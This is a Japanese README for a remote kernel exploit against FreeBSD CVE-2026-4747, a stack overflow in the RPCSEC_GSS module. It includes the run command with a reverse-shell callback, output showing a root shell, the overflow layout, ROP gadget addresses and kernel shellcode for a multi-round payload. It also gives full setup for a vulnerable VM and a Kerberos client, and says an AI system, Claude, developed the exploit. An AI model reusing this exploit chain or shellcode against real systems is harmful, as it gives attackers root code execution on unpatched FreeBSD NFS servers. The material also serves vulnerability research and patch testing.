
FreeBSD CVE-2026-4747向けのリモートカーネルエクスプロイト。kgssapi.koのスタックバッファオーバーフローを悪用し、リバースシェルによるRCEを実現します。マルチラウンドROP配信と詳細なセットアップ手順を含みます。
| 項目 | 詳細 |
|---|
| CVE | CVE-2026-4747 |
| 脆弱性 | kgssapi.ko(RPCSEC_GSS)におけるスタックバッファオーバーフロー |
| 影響 | リモートカーネルコード実行 → uid 0 リバースシェル |
| 影響を受けるバージョン | FreeBSD 13.5、14.3、14.4、15.0(パッチ未適用版) |
| 発見者 | Nicholas Carlini(Claude / Anthropic を使用) |
| アドバイザリ公開日 | 2026-03-26 |
| エクスプロイト開発時間 | 約8時間(Claudeの実作業時間は4時間) |
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
出力:
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
Target: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/[email protected]
Shellcode: 432 bytes (54 qwords)
Delivery: 15 rounds (1 pmap + 14 write)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX) ✓
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
[R3/15] write (4 qwords → 0xffffffff8198a820) ✓
...
[R15/15] write + EXECUTE (2 qwords) → JUMP 0xffffffff8198a800 ✓
[*] Shellcode delivered and executing
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] Reverse shell → 10.0.2.2:4444
[+] Connection from 127.0.0.1:41320
[+] Got shell!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
Claude は、アドバイザリから機能するリバースシェルに到達するまでに 6つの異なる技術的問題 を解決しました:
pmap_change_prot() → BSSを実行可能にkthread_exit() を使用してクリーンに終了(カーネルパニックなし)kproc_create() → ユーザーモードインフラを備えた新しいプロセスkern_execve("/bin/sh") → ELFをロード、trapframeを設定、P_KPROC フラグをクリア/bin/sh が uid 0 としてリング3で実行trap 1(デバッグ例外)によりクラッシュkproc_create() が親からデバッグレジスタを継承kproc_create() の前に DR7 をクリアCredential body byte → Stack target
[0..35] → GSS header (version, proc, seq, svc, handle)
[36..151] → Padding (rpchdr remainder + local vars)
[152..199] → Saved registers (RBX, R12, R13, R14, R15, RBP)
[200..207] → RETURN ADDRESS ← 最初のROPガジェット
[208..399] → ROP chain (192 bytes = 24 qwords)
| ガジェット | アドレス | 目的 |
|---|---|---|
pop rdi; ret | K+0x1adcda | 引数1(rdi) |
pop rsi; ret | K+0x1cdf98 | 引数2(rsi) |
pop rdx; ret | K+0x5fa429 | 引数3(rdx) |
pop rax; ret | K+0x400cb4 | 書き込む値 |
mov [rdi], rax; ret | 0xffffffff80e3457c | 8バイトの任意書き込み |
ここで K = 0xffffffff80200000(カーネルベース、FreeBSD 14.x では KASLR なし)
フェーズ1 - エントリ(ハイジャックされたNFSスレッド):
mov rax, 0xffffffff8198bf00 ; スタックをBSSにピボット
mov rsp, rax
xor eax, eax
mov dr7, rax ; ハードウェアブレークポイントをクリア
call rbx ; kproc_create(RBXにプリロード)
mov rax, kthread_exit
call rax ; スレッドをクリーンに終了
フェーズ2 - ワーカー(新しいカーネルプロセス):
; kern_execve の引数を設定
lea rdi, [rbp - 0x80] ; &image_args
mov rsi, "/bin/sh"
mov edx, 1 ; UIO_SYSSPACE
call exec_args_add_fname
; "-c" とリバースシェルコマンドを追加
; ...
; /bin/sh を実行
mov rdi, gs:[0] ; curthread
mov rax, [rdi + 0x08] ; proc
call kern_execve
; P_KPROC フラグをクリア
and byte [rax + 0xb8], 0xfb ; ユーザーランドへの遷移を許可
ret ; → fork_exit → userret → iretq → ring 3
# イメージのダウンロード
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
qemu-img resize FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 8G
# cloud-init 設定
cat > user-data << 'EOF'
#cloud-config
chpasswd:
list: |
root:freebsd
expire: False
runcmd:
- kldload kgssapi
- sysrc rpcbind_enable=YES nfs_server_enable=YES
- service rpcbind start && service nfsd start
EOF
# ポートフォワーディング付きで起動
qemu-system-x86_64 -enable-kvm -m 2G -smp 2 \
-drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-device virtio-net-pci,netdev=net0 -nographic
要件:
VM内のセットアップ:
# 1. Kerberos のインストール
pkg install -y krb5
# 2. KDC の作成
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
default_realm = TEST.LOCAL
[realms]
TEST.LOCAL = {
kdc = 127.0.0.1
admin_server = 127.0.0.1
}
EOF
# 3. KDC データベースの初期化
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL
# 4. プリンシパルの作成("test" を自分のホスト名に置き換え)
/usr/local/sbin/kadmin.local -q "addprinc -pw password [email protected]"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/[email protected]"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/[email protected]"
# 5. KDC の起動
/usr/local/sbin/krb5kdc
# 6. NFS の設定
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports
# 7. サービスの有効化
sysrc rpcbind_enable=YES nfs_server_enable=YES gssd_enable=YES
service rpcbind start && service nfsd start
# 8. 確認
sysctl vfs.nfsd.threads # 16 と表示されるはず(2 CPU の場合)
sockstat -l | grep 2049 # tcp4/tcp6 と表示されるはず
# 1. パッケージのインストール
sudo apt install krb5-user libkrb5-dev python3-gssapi
pip install gssapi
# 2. /etc/krb5.conf の設定
sudo tee /etc/krb5.conf << EOF
[libdefaults]
default_realm = TEST.LOCAL
rdns = false # 重要: DNS 正規化を回避
dns_canonicalize_hostname = false
[realms]
TEST.LOCAL = {
kdc = VM_IP:KDC_PORT # 127.0.0.1:8888(QEMU)または 192.168.x.x:88(ブリッジ)
}
EOF
# 3. ホスト名を /etc/hosts に追加
echo "VM_IP test" | sudo tee -a /etc/hosts
# 4. Kerberos チケットの取得
echo "password" | kinit [email protected]
klist
# 5. (オプション)新しいガジェットを見つけるための ROPgadget のインストール
pip install ROPgadget
ROP chain:
pop rdi → rdi = 0xffffffff8198a000 (BSS page)
pop rsi → rsi = 0x2000 (2ページ = 8KB)
pop rdx → rdx = 7 (VM_PROT_ALL = RWX)
pmap_change_prot → 権限を RWX に変更
pop rdi → rdi = 0
kthread_exit → スレッドをクリーンに終了
各ラウンドで32バイト(4 qwords)を BSS に書き込み:
ROP chain テンプレート:
pop rdi → rdi = BSS_SC + offset
pop rax → rax = shellcode_qword
mov [rdi], rax → 8バイト書き込み
(さらに3回繰り返し)
pop rdi → 0
kthread_exit → 終了
コスト: 40バイトのROP/8バイトの書き込み → 合計15ラウンド
ROP chain:
pop rdi → rdi = BSS_SC + 416
pop rax → rax = 最後の qword
mov [rdi], rax → 書き込み
(繰り返し)
BSS_SC → シェルコードへジャンプ!
| 問題 | 原因 | 解決策 |
|---|---|---|
| RIP オフセットの誤り | 静的逆アセンブルが GSS ヘッダーを考慮していなかった | De Bruijn パターン + クラッシュダンプの読み取り |
| MIT/Heimdal の非互換性 | ホスト名の DNS 正規化 | rdns = false + dns_canonicalize_hostname = false |
| ワーカーでの Trap 1 | DDB から継承されたデバッグレジスタ | kproc_create() の前に DR7 をクリア |
| シェルコードが収まらない | 432バイト > 400バイト(XDR 制限) | 複数ラウンドでの配信 |